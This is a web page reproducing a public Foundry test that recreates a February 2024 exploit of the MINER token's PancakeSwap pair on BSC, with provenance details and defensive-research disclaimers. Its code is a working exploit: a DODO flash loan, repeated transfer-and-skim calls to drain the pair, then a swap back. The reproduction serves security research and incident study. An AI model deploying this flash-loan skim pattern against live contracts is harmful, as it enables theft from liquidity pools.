Public reproduction file
src/test/2024-02/MINER_bsc_exp.sol
Public reproduction file for dataset entry MINER.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "forge-std/Test.sol";6import "./../interface.sol";8// @KeyInfo - Total Lost : ~3.5 WBNB9// Attacker : https://bscscan.com/address/0x031958a8137745350549fd95055398dd536a07c710// Attack Contract : https://bscscan.com/address/0xc9716ec1b0503316233e3bcc50853f0df6befd4311// Vulnerable Contract : https://bscscan.com/address/0x2ba9d4a8c41c60b71ff7df2c3f54b008644b954e12// Attack Tx : https://bscscan.com/tx/0x15ab671c9bf918fa4b6a9eed9ccb527f32aca40e926ede2aec2c84dfa9c3051214// @Info15// Vulnerable Contract Code : https://bscscan.com/address/0x2ba9d4a8c41c60b71ff7df2c3f54b008644b954e#code17// @Analysis18// Post-mortem :19// Twitter Guy :20// Hacking God :21pragma solidity ^0.8.0;23contract MINER is BaseTestWithBalanceLog {24 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);25 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);26 address dodo = 0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d;28 IERC20 Miner = IERC20(0x7C0BFb9fF0aF660D76fb2bd8865E9b49ff033045);29 IPancakePair Pair = IPancakePair(0x2BA9d4a8C41C60B71ff7Df2c3F54B008644b954e);31 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);33 function setUp() public {34 cheats.createSelectFork("bsc", 36_111_183 - 1);35 }37 function testExploit() public {38 Miner.approve(address(Router), type(uint256).max);39 WBNB.approve(address(Router), type(uint256).max);40 DVM(dodo).flashLoan(10 * 1e18, 0, address(this), abi.encode(0x3078));42 emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);43 }45 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public {46 address[] memory path = new address[](2);47 path[0] = address(WBNB);48 path[1] = address(Miner);49 uint256[] memory amounts =50 Router.swapTokensForExactTokens(10 * 1e12, baseAmount, path, address(this), block.timestamp);52 uint256 index = 1;53 // transfer to pair and skim54 while (index <= 50) {55 uint256 balance = Miner.balanceOf(address(this));56 Miner.transfer(address(Pair), balance);57 Pair.skim(address(Pair));58 index++;59 }61 // end while loop, swap back62 Pair.swap(0, 3_500_751_853_374_879_579, address(this), "");63 WBNB.transfer(dodo, 10 * 1e18);64 }65}Analysis
Dataset entry
Public Foundry test for “MINER” (2024-02-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
22 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-02/ADC_exp.solSame month in the dataset · 105 lines
- src/test/2024-02/AffineDeFi_exp.solSame month in the dataset · 73 lines
- src/test/2024-02/Babyloogn_exp.solSame month in the dataset · 67 lines
- src/test/2024-02/BlueberryProtocol_exp.solSame month in the dataset · 125 lines
- src/test/2024-02/BurnsDefi_exp.solSame month in the dataset · 135 lines
- src/test/2024-02/CompoundUni_exp.solSame month in the dataset · 147 lines
- src/test/2024-02/DeezNutz404_exp.solSame month in the dataset · 67 lines
- src/test/2024-02/DualPools_exp.solSame month in the dataset · 219 lines
- src/test/2024-02/EGGX_exp.solSame month in the dataset · 142 lines
- src/test/2024-02/DN404_exp.solSame month in the dataset · 65 lines
- src/test/2024-02/GAIN_exp.solSame month in the dataset · 69 lines
- src/test/2024-02/Game_exp.solSame month in the dataset · 61 lines
- src/test/2024-02/Miner_exp.solSame month in the dataset · 75 lines
- src/test/2024-02/PANDORA_exp.solSame month in the dataset · 48 lines
- src/test/2024-02/ParticleTrade_exp.solSame month in the dataset · 115 lines
- src/test/2024-02/RuggedArt_exp.solSame month in the dataset · 138 lines
- src/test/2024-02/Seneca_exp.solSame month in the dataset · 68 lines
- src/test/2024-02/SMOOFSStaking_exp.solSame month in the dataset · 77 lines
- src/test/2024-02/SwarmMarkets_exp.solSame month in the dataset · 57 lines
- src/test/2024-02/Zoomer_exp.solSame month in the dataset · 97 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x031958a8137745350549fd95055398dd536a07c7
- Attack Contract
0xc9716ec1b0503316233e3bcc50853f0df6befd43
- Vulnerable Contract
0x2ba9d4a8c41c60b71ff7df2c3f54b008644b954e
- Attack Tx
0x15ab671c9bf918fa4b6a9eed9ccb527f32aca40e926ede2aec2c84dfa9c30512
- Explorer: https://bscscan.com/address/0x031958a8137745350549fd95055398dd536a07c7
- Explorer: https://bscscan.com/address/0xc9716ec1b0503316233e3bcc50853f0df6befd43
- Explorer: https://bscscan.com/address/0x2ba9d4a8c41c60b71ff7df2c3f54b008644b954e
- Explorer: https://bscscan.com/address/0x2ba9d4a8c41c60b71ff7df2c3f54b008644b954e#code
File record
- Name
- MINER
- Path
- src/test/2024-02/MINER_bsc_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 6be4794992f6facbd24665ca8f3bf79c862476c5
- Language
- Solidity
- Size
- 66 lines
- Date
- 2024-02-13
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-02/MINER_bsc_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6be4794992f6facbd24665ca8f3bf79c862476c5, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.